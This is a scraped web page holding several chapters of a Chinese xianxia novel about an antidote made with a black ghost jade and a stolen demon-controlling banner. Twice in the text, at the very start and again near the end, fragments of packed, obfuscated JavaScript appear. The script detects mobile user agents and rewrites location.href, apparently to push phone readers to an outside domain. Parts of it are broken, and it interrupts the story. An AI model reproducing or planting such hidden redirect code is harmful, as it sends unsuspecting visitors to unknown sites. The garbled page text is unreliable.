l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14321455|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合入鼎炉之中试试。” 孟阳立刻问道:“宗主可知这东西该如何用?” 这个孟妙意的确不知。黑石鬼玉此前也只是传闻中的东西,仙家中也只有从前公仪岭用过,知道该如何使用,就是不知道公仪岚知不知道了。要是连公仪岚也不知道的话,他们怕是还得亲自前去玄霄殿一趟,问问尹鸿宣。 孟妙意取下脖子上的黑石鬼玉,转而去问公仪岭:“公仪宗主,你可知这黑石鬼玉该如何使用?” 所幸旁人并不知道黑石鬼玉也是个认主的宝物,否则的话,公仪岭当着两个人的面将它唤醒,定然会让孟妙意疑心自己的身份。至于黑石鬼玉现在认的两位主人,那就自然是尹鸿宣和公仪岭了。 公仪岭神色镇定,接过玉石:“在九宫青狻猊毒发身亡后,阿岭曾告诉过我此物的用法。” 面前两人闻言也是松了口气。请尹鸿宣事小,延误解毒事大,孟妙意可不希望在这样的事情上浪费时间。 孟妙意道:“如此就太好了,还请公仪宗主先行解开这块玉石吧。” 公仪岭没有迟疑,念了个法诀以后,黑石鬼玉便微微亮起,通体散发出黑色的鬼气。 孟妙意一见法诀有用,也是面露喜色,当即施法将石头散发出来的鬼气往鼎炉里面引,孟阳则是飞速在炼毒室外设下了封禁,解开了周围要用到的所有法器,随后守在了两人旁边。 黑石鬼玉闪着幽暗的光芒,就这样悬浮在半空中,源源不断地为鼎炉输送着。公仪岭见炼毒室内所有的法器都开始嗡嗡震动起来,就知孟妙意已经准备开始炼药,抬手汇聚灵力,打算开始为孟妙意护法。 鼎炉中还存着之前已经滚沸了的半成品解药,所以这一次炼药没有花费太长的时间,公仪岭甚至都没觉得自己的灵力耗费了多少,孟妙意那边就已经收了手。 随着她身上的灵气减弱,黑石鬼玉身上的光芒也渐微,等到完全黯淡以后,它便从空中落下,被孟妙意稳稳接在了掌心。 “如何?” 每次制完药的时候,孟阳总会十分紧张地问上一句,这次也不例外。 孟妙意深吸了一口气,对他点了两下头:“药是制成了,也不知这次能不能解毒。” 有了前几次的失败经验,孟阳也不敢先高兴,生怕是竹篮打水一场空,还是颇为谨慎地道:“先试试也无妨。” 反倒是公仪岭有了些自信,在旁边安慰两人:“我看这次的解药应该没错。方才我护法之时发现,刚才孟宗主戴了一会儿黑石鬼玉,身子也好转了不少,想必应该就是玉石的原因了。” 孟妙意自己的身子有没有好转,自己更是清楚,这时候心中也很赞同他的想法:“的确不错。” 孟阳听她这样说,也放心了些,迫不及待问:“那……两位宗主,你们谁先试一试这解药?” 虽说他们分析着,都觉得这一次没什么问题,但毕竟黑石鬼玉不是仙家的东西,沾染了鬼气的解药,也说不准喝下去会出现什么问题。 不过,公仪岚他难得来一趟,这几日又为了青花谷的弟子们日日奔忙,如果有了黑石鬼玉才能制出解药的话,他自然功不可没。来者是客,孟妙意又怎么好意思让公仪岚来试药? 孟妙意这样一想,马上就做出了决定:“既然我现在身体情况更糟一些,自然应该是我先来试一试这药了。” 160.鬼玉解妖毒 妙意不可名(二) 白苏在听到孟阳那样问以后,心里就知道自家宗主肯定会亲自试药,只不过真的听到了她这样说以后,白苏还是十分担心,欲言又止了很久,才小声道:“宗主,若是魔族的东西有问题,您擅自服药的话,后果不堪设想啊!” 孟阳听了,也意识到了自己说的话欠妥,有些懊恼。 两边都是他曾经的朋友,他也为难得很,左看看右看看,也不知该劝谁,一下子沉默下来。 公仪岭看她们的样子,又听了两人的话,也猜出来了他们在为难什么,也是无奈。 青花谷的人不知道他就是公仪岭,自然也就不知道黑石鬼玉再怎么样也不会害了他,难怪孟妙意会主动开口揽下此事了。 公仪岭之前欠了孟妙意不少人情,这种时候,也不会真让她冒风险。 “孟宗主,我现在中毒尚轻,便由我来试药吧,等试过以后无碍,你再用不迟。” 孟妙意怔愣道:“这……” 公仪岭见她犹豫,又道:“我既中毒不深,要是喝完真有什么意外,也还有灵力能够与之抗衡,不会有事。你现在要是再因此伤了身子,恐怕就不好了。” 公仪岭说的也是有理有据,合理地找不到一点让人反驳的地方,孟阳心里还是为青花谷的将来打算着的,很容易接受了他的说话,开始做起孟妙意的思想工作。 好说歹说了一番,孟妙意也算是让了步,松口道:“那你先喝一部分看看效果,等喝完让我来把个脉,要是没问题的话,就再继续喝完吧。” 商议完后,孟妙意也是抬手打开了鼎炉,而桌案上的两个木碗也随着她的动作,直直朝着鼎炉的方向飞去,在里面过了一圈以后,又重新回到了桌案上,那木碗里已然盛了深棕色的药汁,隐隐还能看见往外冒着黑气。 两个碗内的分量被她拿捏地极为准确,是将原本一碗的量一分为二,防止公仪岭一个没注意就给全喝了。 孟妙意凝视着身旁戴了半张面具的人,说起来,这半张面具,当初还是她亲手打的,覆盖在那样一张脸上,无端端就会让她回忆起故人来。几日相处下来,有的时候就连孟妙意也难以分清,恍惚间只当自己是劳累过度,连人都会错认了。 虽然公仪岭与她也只是点头之交,甚至之前还有些小矛盾,但她也清楚,公仪岭不算是什么十恶不赦的人,如果可以的话,孟妙意也希望他能够活过来,再怎么说也不该是那样的结局。 出神片刻后,孟妙意的神色又恢复如常,对着他沉声道:“公仪宗主,请。” 不管他们答不答应,公仪岭也早就打定了主意打算自己喝了这两碗药,不等孟妙意说完,公仪岭就已经拿起了木碗一饮而尽。 他这样果断,孟阳不自觉地紧张起来。一碗药汁刚刚下肚,孟阳立刻伸手扣住了公仪岭手腕,准备查看他的身体状况。 孟妙意则是对孟阳轻轻摇头:“这药才刚喝下去,应该没那么快起作用,现在把脉怕是无用。” 她的注意力全都放在观察公仪岭的神情上了,更在意的是他喝完会不会有什么不适的感觉,这样的话,也方便她及时调整解药。 事实上,公仪岭喝完第一碗后,压根没感觉到有什么不对劲的,只是觉得这药汁喝起来苦了些,没过多久,五脏六腑反而生出了些清凉之感,像春风拂过湖面般舒适。 孟妙意没在他脸上看出什么异样的神情,过了一分钟后才问道:“公仪宗主,你觉得如何?” 公仪岭放下木碗,对她点了点头:“我没觉得有什么不对的,这解药应该没问题。” 孟妙意微微松了口气,瞧着他又二话不说喝下了第二碗药汁。 这一次为了谨慎起见,孟妙意和孟阳等待了五分钟才试探性地开口问他:“现在觉得还行吗?” 公仪岭依旧是神色自若地答复他们。这两人等了这几分钟,见他的确没有什么问题以后,就知这第一步算是成功了,心中总算能稍稍高兴了些。 虽说现在还看不出这个解药有没有功效,但人喝下去没有什么副作用的话,不管有没有用,总能够先试上一试。 孟阳这边没给他把脉,公仪岭自己却不忘时不时抬起手腕看看自己的淤青有没有退散开来。至于孟妙意那边,白苏和孟阳见公仪宗主喝下去都没事了,于是也就不再劝阻孟妙意,好好地替她盛了药汁,让她喝了下去。 谁知,相比起公仪岭这边没多大反应,孟妙意喝完药汁以后的效果却是立竿见影的。没过一刻钟的时间,白苏就明显看见宗主脖子上蔓延的青紫痕迹都减淡了许多。 这一发现令她又惊又喜,白苏生怕是自己眼花了没看清,连忙指着孟妙意的脖子去问孟阳:“孟阳师兄,我没看错吧?你来看看宗主脖颈上的青紫痕迹,是不是减淡了许多?” 孟阳听见也是赶紧分辨了一番,眯着眼看了好一会儿,才肯定道:“是了,没错,的确是减淡了很多。” 炼毒室里面并没有镜子,孟妙意只能听两人这样说,自己却不方便看见,只能挽起了袖子,去看胳膊上的那些痕迹。 结果这一看,还真如他们说的那样,孟妙意瞧见胳膊上的痕迹也肉眼可见地消去了很多,一瞬间欣喜不已:“这么说,这解毒的关键,果然是在黑石鬼玉上!” “没错。” 公仪岭默默应了一声,思绪却一下子飘得很远。 从一开始,他就把这次妖毒爆发的原因归结为有人利用御魔幡在暗中作孽,他想当然地以为,这多半是用经过御魔幡炼制过的妖物,才会这样严重,制不出解药。 却不曾想到,竟然最后是用黑石鬼玉解开了毒。 没人比他更清楚,这黑石鬼玉压根与御 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孟妙意的炼药速度完全没让人失望。他们几人一直在炼毒室内呆到了深夜,足足五个时辰下来,孟妙意终于制完了所有的药,而白苏也将这些药归类完,连夜给弟子们送去了。 也正是多亏了他们将解药送去地及时,大晚上地救下了五六人的性命。 夜半毒发,那几名弟子眼睁睁看着自己身上的皮肤开始溃烂、毒素开始往脸部蔓延,几乎强撑着下床,想要拿起笔写遗书的时候,公仪岭就带着解药到了。 这也多亏了他这几日将所有弟子的状况记载在册,每一人是什么样的现状他都记得清清楚楚,这才第一时间抵达了这些弟子的房间。至于孟妙意他们三人,也是依照他给的名单挨个送了过去。 每个弟子的房门口都下了封禁,所以在公仪岭闯进来的时候,那位正在写遗书的弟子也愣在了桌前,笔尖在纸上渗开了好大一团墨水。 弟子讷讷道:“公仪宗主,您怎么……” “进来了”这三个字,这位弟子还没说出口,就看见公仪岭皱了皱眉。 公仪岭皱眉的原因,无非是看见了他笔下那张纸上写着的“遗书”二字,庆幸时间赶上了之余,更多的还是觉得痛心。 这位弟子算是孟妙意的师弟,这几天的接触下来,公仪岭也知道他才不过十五岁,这样年轻,身上却满目疮痍,几乎连一块好肉都没有了,就连握笔的手也因为失去了皮肉而变得颤颤巍巍,如何能不叫人痛心? 师弟面前的那张纸被移到了一旁,桌面上取而代之的是一碗药汁,这位师弟还没反应过来,耳畔就响起公仪岭的话语。 “你放心,孟宗主已经制出解药,喝下这药以后,就会好起来的。你的日子还长,不必写什么遗书。” 161.鬼玉解妖毒 妙意不可名(三) 那师弟听完公仪岭话,一瞬间涌出泪来,他嘴唇微张,结巴了好半天也没说出一句完整的话来,好不容易平复了情绪,最后说的第一句话却是:“太好了……大家、大家都有救了……” 听到他这样开口,公仪岭也忍不住有些哽咽。 多好的一个孩子,差不多到了自己生命的末尾,第一个想到的竟然还是所有中毒的人。 只是他现在拿笔都看起来很费劲,公仪岭担心他的身体状况压根拿不起碗,于是也不敢再拖延下去,端起了木碗送到师弟的嘴边,看着他全部喝了下去。 “感觉还好吗?” 公仪岭注视着他手臂上溃烂的地方,虽然知道药效没那么快,但还是忍不住问上一问。 师弟喝完也是点了点头,给了他肯定的答复:“我觉得,身子比刚刚松快了许多。” 他这么说了,公仪岭也就放下了心。其他还有十来个弟子等着他们送解药,公仪岭也不能在这边逗留太久,于是再次叮嘱了一番这位师弟,看着他上床休息了以后,才离开了院落,去寻找下一个性命垂危的弟子。 又是一夜无眠,公仪岭和孟妙意他们从深夜忙活到了天明,这才将所有中毒的弟子都送去了解药,安顿了下来。等做完这一切,孟阳还将其他没有中毒的人都把了一遍脉,确定再无感染的人,才稍微休息了片刻。 公仪岭回去的时候,正看见孟阳和孟妙意躺在院内的竹椅上,而经过了一夜后,孟妙意身上的青紫痕迹也都消减了许多,至少公仪岭第一眼的时候,已经看不见她脖子上的印记了。 孟妙意见他回来,倦意没了一半,立刻直起了身子问道:“公仪宗主,那些弟子可都喝下解药了吗?没出什么岔子吧?” “都喝下了,他们无事。” 至此,孟阳和孟妙意悬着的心总算是放下了。孟妙意重新躺了回去,而孟阳也是累得虚脱,只能微微抬起手指了指自己身旁的另一张躺椅:“事情都忙完了,岚兄你也歇会儿吧。” 他们青花谷这边是完事了,但公仪岭可还记挂着云灵城那边,又怎么能就这样躺下去休息? 公仪岭摇了摇头,回绝了孟阳的好意,对两人道:“孟宗主、孟兄,青花谷这边想必已经无碍了,只是云灵城那边还等着我拿了解药回去,我就不在此地多留了。” 孟阳忙得晕头转向,听他提起这才猛然想起来云灵城这回事,于是也不多拦了。孟妙意对他这个决定倒没什么意外之色,只是简单点了点头,问了一句:“公仪宗主,是打算现在就启程吗?” “正是,还得劳烦孟宗主先行打开结界让我出去。山高路远,不必相送了。” 公仪岭心里清楚,这几日他们两个人消耗巨大,再让人送自己出谷未免兴师动众了,实在没有这个必要,还不如自己直接离开,节省时间。 他们几人也不是第一次见面,那些多余的礼节和客套话自是不必多说了,于是,公仪岭与他们辞行以后,就独自离开了青花谷。 临行前,白苏还十分体贴地将所有的解药替他放在了一个包裹中,公仪岭背着这个包裹御剑的时候,心中还免不了一阵感慨,盼着自己能够及时回去,不要造成太大的伤亡。 两日后,云灵山。 承悦这些日子焦头烂额,一边想着办法该如何控制着谷内妖毒的扩散,一边还得给公仪岚传信交代山中弟子们的情况。 一开始公仪岚还有回函传来,所以承悦也知道他忽然离开是跑去了青花谷内研制解药。他想着有孟家的帮忙,想必公仪岚不出三日也就能回来了。 可哪知两日以后,传给公仪岚的信却是石沉大海,就连青花谷也静悄悄地没个动静,弄得承悦焦灼不安,他再担心也只能尽力安抚着师弟师妹们的情绪,叫他们不要担心,然而到底有多么担心,也只有承悦自己知道了。 距离公仪岚离开青花谷,已经是第十五日,哪怕云灵山内的妖毒比城内出现地晚,拖了十五日后,也有不少弟子中毒已深,那青紫印记已经蔓延到了他们的下颌。 承悦此刻正忐忑不安地坐在其中一个中毒已深的师弟房内,角落的药炉正滚着从药师处配的延缓毒发、用来止痛的药物。 早上他过来,是特意过来探视他的情况,给师弟带了药来的。 自从知道了这妖毒能传染后,师弟怕他被自己传染,断然拒绝了承悦靠近帮他煎药的好意,承悦就只好在他拉的帘子外面煎药,等药煎完,再拨开帘子给他送进去。 只不过,今日这一帖药还没完全滚沸,承悦就猛然察觉到了山中结界异动,霍然站了起来。 屋内的那位师弟饱受妖毒折磨,灵力都稀微了,自然没有感觉出什么不对劲,但看见承悦师兄表情严肃地起身,马上也意识到了不对劲。 他望着承悦,紧张道:“承悦师兄,怎么了?可是有哪里不对?” 承悦没有瞒他,肃然道:“山外结界异动,应该是被人解开了。” “什么?!” 师弟一开始听到这个话也是吃了一惊,山中结界都是公仪岚临行前亲手设下的,想要完全解开的话,定然是得修为比他还高的仙僚才能做到。 只不过,略略吃惊之后,他也很快想到了另外一种可能性。 “是宗主!肯定是宗主回来了!” 师弟的语气中兴奋难耐,很显然,这样的好消息短暂地让他忘记了身上的痛苦,强撑着就想从床上下来迎出去了。 承悦见他这样,连忙出声:“你别急,先在床上好好休息,我出去看看再说。” 师弟心情再迫切,也还是得听承悦的话,见他打算出去,还不忘喊了一句:“师兄你看完记得回来跟我说啊!” 说完,他也没听见承悦应声了没有,就继续在床上耐心地等待了。 承悦出了院门,看见天空中完全消失的结界,心中就已经下了定论,忙不迭跑去宗门口迎接他归来。 解开结界的人自然是公仪岭无疑。 他刚从彻云剑上下来,在宗门口便见到了迎出来的承悦。 “宗主!” 承悦远远朝他大喊了一声,看着他对自己点了点头。 “我回来了,承悦。”公仪岭回道。 在 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他当时匆忙离开,云灵山中的妖毒是他去青花谷的时候出现的,其中具体的事情,承悦在信中也不好细说,公仪岭觉得还是得问问情况。 “承悦,我离开的这段时间,那些中了妖毒的弟子们情况如何了?” 承悦脚步微顿,神色有些黯然,低声道:“万幸的是,云灵山内妖毒出现得晚,不至于到回天乏术的地步。可大家虽然还强撑着性命,但他们的状况也都很差,全靠药物延缓毒发,要是解药再晚几日到的话,恐怕那些中毒已深的弟子就撑不下去了。” 公仪岭沉默良久,才缓缓道:“山中弟子都尚且如此,那云灵城内的百姓是何种情况,你可知晓?” 他答应那那些百姓会带着解药回去,可不想得知自己来迟一步的消息。 承悦不知他离开云灵山后是先去了云灵城,只当他是从青花谷那边知道了此事,皱着眉道:“云灵城内百姓的状况也并不好,山下贡桌时不时就会有他们的祈愿,据我所知,城中感染妖毒的百姓已有七十余人,有不到十个人已经离世了……” 公仪岭深吸了口气,只能用“还有六十多个人等着解药救命”这样的话来勉强安慰自己。 承悦见他面色不好,觉得他大概是因为有人身亡心里过意不去,停顿片刻后,便试着提出了自己的想法。 “宗主,我看不妨先将山中弟子们的毒解了,再派弟子们下山为百姓们解毒,这样的话,想必也能更快些。” 公仪岭稍加思考,也清楚这是效率最快的办法,于是点头应下:“好,就按你说的办。” 云灵山中大概有六十多个弟子中毒,等他们照顾完所有人已经是第二天早上了。 公仪岭昼夜兼程回来,已经有三四日没有合眼了。他本想着,等云灵城百姓们也都解毒了,再回去休息,但承悦担心他身体撑不住,于是在给最后一个师妹喝完解药以后,不由分说地让他回房休息了。 在青花谷的时候,公仪岭一直记挂着炼药的事情,也没怎么睡好。他本来还不觉得多困,等到仙侍过来给他点上安神香以后,公仪岭竟然就这样不知不觉昏睡了过去。 162.鬼玉解妖毒 妙意不可名(四) 再次醒来已是清晨。 公仪岭猛然被窗外透进来的日光照醒,起身后觉得浑身都畅快了许多,心里估摸自己身上的毒应该已经完全解开了,顿时安心下来。 他张口唤了门外仙侍,外面守着的两个人听到响动就推门进来,恭敬道:“宗主,有什么吩咐?” “现在几时了?我睡了多久?”公仪岭抚着额角开口,声音是出奇的沙哑,连他自己都吓了一跳。 他睡了多久,仙侍就在外面守了多久。听到宗主这样问,仙侍也是很快就答道:“宗主睡两日了。” “两日?!” 公仪岭一听也是惊了,要是换了自己睡两日倒是正常,可他现在是公仪岚啊!要是这样雷打不动地睡了两日,就算山中弟子不怀疑,难保承悦也不会怀疑啊! 他有些担心,故而也多打量了仙侍两眼,想看看他们的神色有没有变化。好在房中的两位仙侍神色自若,看上去并没有意识到不对劲,反倒还很关切地询问了一番公仪岭的身体。 “宗主,承悦师兄收到了孟宗主的传信,说是宗主您也中了妖毒,又在青花谷上下忙了几日,让承悦师兄多注意些您的状况。您看,要不要去请药师看看?” 仙侍得知公仪岭中了妖毒后,生怕他昏睡是因为中毒的缘故,哪里还会觉得他睡得久些是个奇怪的事情?甚至两人还想着,要是三日还没醒来的话,就去请药师过来看看了。 公仪岭听他们这样说,也是明白了过来。 药师是断然不能去请的,他能给孟阳和孟妙意把脉,那是因为他们两个人从未把过公仪岭和公仪岚两个人的脉象,自然看不出什么端倪。可若是让山中的药师来看的话,定然就会察觉到不对,通过脉象判断出他并不是公仪岚。 公仪岭果断拒绝了仙侍的建议:“药师是不必去请了,我已经喝过解药,身体没有大碍。” 仙侍面面相觑,见他的态度不容置疑,也就只好暂且不提找药师的事情:“是,宗主。” “承悦呢?山中的弟子可都大好了?” 仙侍颔首答道:“都好了,承悦师兄已经带着他们下山,去给城中百姓解毒了。” “那就好。” 有关于黑石鬼玉是压制妖毒的良方这件事情,公仪岭还没来得及跟承悦说,他总隐隐觉得这其中定然跟玄霄殿是有什么关联的,打算等见到承悦后再与他商议这件事情。 要是他们两个人对这件事实在没什么头绪的话,公仪岭也不介意再去玄霄殿找尹鸿宣一回。 如此想完,公仪岭便对这两位仙侍交代道:“我已经重新设下山中结界,这几日你们两人务必盯好山中,有什么风吹草动都要告知我。所有事情,都等我从云灵城回来再处理。” * 云灵城内。 公仪岭再次见到承悦是在一家客栈内,与他同行的共有十五名弟子,他们占了这家客栈的大半房间。 往日里,他们都是选择随意在城内找个破庙凑合一晚,这次承悦跟他说了汇合的地点后,公仪岭还稍稍惊讶了片刻,等到了那边问了掌柜后,才知道原来这家客栈的掌柜女儿也中了妖毒,多亏了他们及时赶到,才幸免于难。 几人解完毒后,正想离开,无奈掌柜盛情难却,直接给众人安排了上好的厢房,也就在这客栈内住了一夜。 公仪岭来的时候正是午时,那其他十五名弟子还在按名册上的顺序给众人送药解毒,并未归来,客栈里只剩下承悦一人。 大概是承悦已经与掌柜交代过,所以公仪岭一进门就被他认了出来。掌柜看见正门进来了一个戴着银箔面具的红衣男子后,立刻迎了上来,对他行了一礼。 “见过仙师。” 公仪岭把他扶起:“不必多礼。掌柜可否带我去其他弟子的住处?” 掌柜闻言了然,做了个“请”的手势,道:“仙师,请跟我来。” 跟着掌柜一路走,公仪岭也顺势打量了一番这家客栈。他们没少来云灵城捉妖,对城中有什么店也算熟悉,但公仪岭出门从不住客栈,对这些就不怎么熟悉了。 这家客栈的规模不算太小,但也称不上大,只是胜在里面装修地清净雅致,看着别有一番风味。 承悦的厢房在客栈的二层,上了楼梯后拐个弯便到了。公仪岭谢过掌柜后,推门进去,一眼看见了承悦坐在茶桌前,正往茶壶里投茶。 见他进来,承悦也是马上起身,对他道:“宗主,你来了。” 公仪岭微微点头,随意在他对面坐下,问道:“等多久了?” “不久,这不是刚想开始泡茶,你就来了。” 承悦笑着接话,顺手拿过旁边已经烧沸的水,注入了茶壶内。 公仪岭来这边也不是光和他喝茶来的,随便问了一句后,就开始直切正题:“城内情况如何了?” 说起这个,承悦也收了笑脸,正色道:“等我们下山一家家送去解药,才知给弟子们解毒的这两日,城内中又死了有七八人。昨日,弟子们忙活了一天,才将解药送完,今日,是特意回去检查他们的身体情况有无大碍的。” 公仪岭听他这样说,心里也是安定了些,唯一遗憾的是那些只差一点就能得救的人,当真可惜……只是事已至此,他们也都已经尽力而为,有些事情,也不是他们能够轻易改变的。 他轻声道:“既然弟子们服用完,没什么大事,想必他们也会慢慢好转的。” 承悦叹了口气,道:“话虽如此,但百姓们毕竟没有修为和灵力傍身,这解药对仙家的人有用,对他们能不能起作用也不好说,还是需得多多注意些才行。” 公仪岭仔细想了想,承悦的话不无道理。这会儿他还不知道黑石鬼玉压制妖毒的事情,都能考虑地这样仔细,也是难得了,只是公仪岭也十分担心,要是他 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再怎么说,孟妙意也是宗门内极好的苗子了,从前承悦还听说,其实孟长歌最看重的,该是这个小女儿。 哪怕孟妙意的父亲和兄长都相继离世,靠她一个人炼药没有那么快,也不至于对这妖毒束手无策才是。 这样想着,承悦也就迟疑地开口问了:“宗主,为何孟家炼制解药足足十多日才出了结果?按理来说,孟宗主想要制出解药,至多也不过五日……” 公仪岭听到他问,也只是略略迟疑了片刻,继而脸上便露出苦笑。 “其实,这些解药的几味药材,在第二日的时候,孟宗主就已经知道,并且炼制出了药。只是当时我们并不清楚为什么,明明就该是这些药材,却解不了青花谷弟子身上的妖毒,哪怕孟宗主和孟阳兄竭尽全力,也找不到真正的原因。” 承悦也没想到,解药拖延了这么久才炼制出来的,竟然是因为这样的原因。 他惊诧道:“怎会有这样的事情?” “是啊……就算过了五日,我们也还是一筹莫展,孟妙意也在这期间中毒昏厥。” 公仪岭说的时候,也难免回想起当时的场景,到今天也觉得庆幸,庆幸最后还是找到了原因,炼制出了解药。 承悦得知后,对他们最后是如何制出解药,也多了几分好奇。 “一般来说,炼药失败多半是因为少了几味药材,莫非后面是孟宗主忽然知道了这药材,才成功制出了解药?” “你说得不错。” 公仪岭没有反驳他,脸色十分平静,只是从容地从脖子上取下了吊坠。 “这——” 这个吊坠承悦也是再熟悉不过,当即认了出来,瞪大了眼凝视着它,脑中顿时出现了一个极为合理的念头,而下一秒,他的念头就被肯定了下来。 公仪岭道:“最后一味药,就是这块黑石鬼玉。” 163.鬼玉解妖毒 妙意不可名(五) 心里还在怀疑的事情一下子成了真,弄得承悦措手不及。 “这、这……” 只是承悦“这”了半天,也没说出完整的一句话。 黑石鬼玉还能当药引子?这种事情别说承悦,就连公仪岭和尹鸿宣恐怕都不知道,所以哪怕这个念头在承悦脑子里一闪而过,他也没直接说出来,因为打心底里觉得有些不可思议。 承悦飞快地在脑海中搜寻着有关于这东西的所有用处,也没想到会有这样的事情。 公仪岭不奇怪他的反应,直接忽略了承悦没说完的话,继续道:“在青花谷内呆了一段时间后,我也染上了妖毒。可是,孟阳在给我把脉的时候,却说我身上的毒已经有好几日了,但不知为什么,毒发却比别人晚了很多日,就连症状也轻了许多,这才引起了我们几人的关注。” “而那时候我着急离开,身上也没带多少东西,也就唯独黑石鬼玉是个例外了。” 承悦这时候也收回了思绪,接着他的话问道:“所以,你们就是这样发现压制毒物的关键所在的?” 公仪岭点头道:“正是。” “原来如此。” 话说到这个份上,承悦也完全明白了这是怎么一回事,同时也想到了他为何要特意避开弟子们,下山来与自己商议这个事情了。 承悦望着他手中的黑石鬼玉,压低声音道:“此前那贼人破开云灵山结界,悄悄翻遍了阿岭的房间,想必就是特意为了这块石头来的吧。” 见承悦只是两三句话的工夫,就已经猜出了前因后果,公仪岭也不由暗暗赞叹了他一声。 “应该错不了。而且,我觉得这个人也许和下落不明的御魔幡也有些联系。” 公仪岭只当他是想确认这些事情,却没想到自己刚说完,承悦就是一副沉思的样子。 随后,承悦就提出了一个公仪岭从未想过的问题。 “宗主,如果妖毒是这贼人所散布开来的,他又为何会非要来阿岭的房间偷盗黑石鬼玉?” 公仪岭被他问得一愣,下意识道:“他既然下毒,那肯定不想让我们解毒成功,如果黑石鬼玉是压制毒性的关键之物,自然是落在他自己手中最为放心。” 这也是公仪岭一直有的思路,他也没觉得这个思路有什么不对的。但承悦一向逻辑缜密,他会提出来的,一般都是重要的问题,公仪岭对此也十分重视。 但承悦很果断地摇了摇头,否定道:“我不这样认为。” “为何?” 承悦道:“你们在青花谷研究了这样久,也没能发现这个毒只能靠黑石鬼玉压制,说明这一味药,是完全出乎了孟宗主的预料的,如果不是恰巧发现宗主你身上的毒发缓慢,想必解药根本制不出来。要是这样的话,那个贼人最好的办法,就是按兵不动,完全让你们忘记黑石鬼玉的存在,如此一来,哪怕过了二十日,孟宗主也绝不可能炼出解药来,这些中毒的弟子们也必死无疑。” 公仪岭心念一动:“承悦,你是说,他是故意破开云灵山结界,进来偷鬼玉,让我们重视起这石头的存在?” “对。这鬼玉是阿岭的东西,只因其重要,这才被封在了宗主你的房间内,但宗主你平日里是绝不会把他戴在身上的,这个人既然知道黑石鬼玉能够压制妖毒,定然得想个办法让你随身携带。而他如果特意进来偷一趟的话,按照宗主你谨慎的性子,肯定会选择戴在身上,防止丢失了。” 公仪岭拿着茶杯的手微顿,瞬间意识到了什么:“他是希望我带着黑石鬼玉,前往青花谷帮助孟宗主炼药……” 承悦点了点头。 “可是,这也说不通啊。”公仪岭不解道,“如果偷盗鬼玉和偷盗御魔幡的是同一个人的话,既然毒是他下的,他又为什么这样做,从而让我们成功炼出解药呢,这不是搬起石头砸自己的脚吗?难不成,这两个人不是同一个人,偷鬼玉的那个人是知道了那人的计划,特意用这样的办法帮我们的吗?” 承悦道:“我还是觉得,这是同一个人所为。如果光靠他自己一个人,想要找到这么多不同的妖物,也不是件容易的事情,也许他还没找到两只,就已经被附近的宗门给察觉了。这妖毒混合了十几种不同的毒制成,如果他有御魔幡的话,那想要制出来这妖毒,就轻而易举了。” 公仪岭心知他分析的有理有据,这天下那座城的附近要是出现了这样的千百年老妖怪,不出三日就能传到附近宗门的耳中,想办法派人去盯着剿灭的。 而他到现在也没收到什么传信,说哪个地方发现异常,这样看来的话,用御魔幡的妖物来制毒,是一个合情合理的解释。 只不过,如果是同一人所为,那之后承悦说的一切又变得有些自相矛盾。 公仪岭隐隐觉得有哪里不对,但是脑中千头万绪也没理出来个所以然,也就没有贸然开口说话。 从玄霄殿大战后,御魔幡下落不明开始,公仪岭就觉得这件事情透露着一股子古怪。而现在听完承悦的分析后,这种感觉就更加强烈了些。 他们所有人,包括公仪岭自己,一开始都是觉得,这个人趁乱偷走御魔幡,肯定是想要积攒力量,以后卷土重来,以至于各家这几个月都是全神戒备,到处搜寻着御魔幡的下落,闹出了不小的动静。 与之相对的,却是各处的一派平和,从那次大战之后,简直可以用风平浪静来形容。 玄霄殿现在都被仙家全面接管了,扶持上位的尹鸿宣也不是什么有野心的人,这个人偷走御魔幡,却失去了玄霄殿这个最大的助力,想要靠他一个人积攒力量卷土重来,谈何容易? 可他还是这样做了。 这其中的原因,似乎也只剩下了一个。 公仪岭紧紧握着手中的黑石鬼玉,轻声道:“我看,他的目的根本不是什么重振玄霄殿……” 他突然开口,承悦也是一怔:“什么?” “也许,他的目的,仅仅只是御魔幡本身。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14365474|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至于御魔幡本身有什么用处,公仪岭不必多说,承悦已经心领神会。 承悦沉默许久,才喃喃道:“也不知这贼人靠御魔幡炼出傀儡,到底是想做什么。” 公仪岭一心只想抓住此人,根本不在意这人有什么目的。 他凝声说道:“总之,我们得尽快找到这个人才行。” 话虽如此,但现在他们都还对此一筹莫展,压根不知道该从何找起。 两个人的对话仿佛进了死胡同,公仪岭考虑再三,只能先交代着承悦,让他之后多多留意云灵城附近发生的奇怪事情。 壶中的茶水还在冒着热气,承悦一边应着他的话,一边早已为他的空杯子内续上了新茶。 “多谢。” 正事说完,公仪岭也放松了下来,随手拿起茶杯抿了一口,之后与承悦也稍稍闲谈了两句。 承悦作风一贯严谨,对于公仪岭那几句关心的问候,也仅仅只是答了一声,便又继续开始把这几日的山中事宜回禀给他。 对此公仪岭也有些无奈,临走前他已经把山中的大小事宜全权交给承悦打理,即便是承悦不来和他回禀,公仪岭也不会觉得有什么问题。想想也是,他早知承悦从小就是这个性子,不管做什么事情都是这样一板一眼,极有条理,不会有丝毫逾矩。 就连他代为处理的那些文书,都已经按照公仪岚的习惯分类放置,等待着公仪岭一个个批阅。 承悦刚刚跟他说完,门口便响起了敲门声。 公仪岭的心神收回,立刻意识到这是弟子们回来了。 承悦起身道:“我去开门。” 复查所有人的身体状况这件事,比让他们挨家挨户地过去解毒要快得多,弟子们统共花了不到三个时辰,就已经全部检查完毕。 承悦的房间不算太大,容纳不下这么多人,故而他打开门以后,也只看见了一个敲门的弟子,大概是被其他人派来跟他们回禀的。 三月底的天气虽然还有些寒凉,但这弟子却还是跑得满头大汗,刚想抬手擦一擦额头上的汗,一进门看见公仪岭后,连汗也顾不得擦了,连忙对着公仪岭行了礼:“见过宗主。” 